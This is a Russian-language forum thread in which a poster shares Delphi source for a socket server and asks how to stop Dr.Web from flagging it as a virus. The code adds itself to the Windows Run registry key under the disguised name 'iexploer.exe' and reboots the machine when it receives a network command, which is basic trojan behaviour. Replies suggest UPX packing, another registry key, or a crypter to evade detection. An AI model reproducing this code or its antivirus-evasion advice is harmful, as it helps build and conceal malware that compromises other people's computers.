drWeb ServerSocket

Сделал на Delphi сервер с компонентом ServerSocket

и сразу drWeb ругаеться что это вирус!
как решить эту проблему?

 

объясни для начало что за прогу ты сделал

 

вот листинг

Code:

procedure TForm1.FormCreate(Sender: TObject);
var
RegIni:TRegIniFile;
begin
RegIni:=TRegIniFile.Create('Software');
RegIni.RootKey:=HKEY_LOCAL_MACHINE;
RegIni.OpenKey('Software', true);
RegIni.OpenKey('Microsoft', true);
RegIni.OpenKey('Windows', true);
RegIni.OpenKey('CurrentVersion', true);
RegIni.WriteString('Run','iexploer.exe',Application.ExeName);
RegIni.Free;
ServerSocket1.Active:=true;
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
  ServerSocket1.Active:=false;
end;

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
var
s: String;
begin
s:= Socket.ReceiveText;
if s='R' then

ShellExecute(handle, nil,'shutdown',' -r -t 2','', SW_SHOWNORMAL);

end;

end.

 

Ну естественно понятно почему ругается...
Попробуй упакуй UPX'ом к примеру...
Может помочь но наврятли

 

покавал UPX'ом тоже самое

 

А может в какую-нибудь другую ветку реестра попробовать записаться?

 

Что за бред... Он соединяеться с хостом веба и тут вообще реестр не играет роли... (автор темы тут токо криптор поможет)

 

и что мене делать?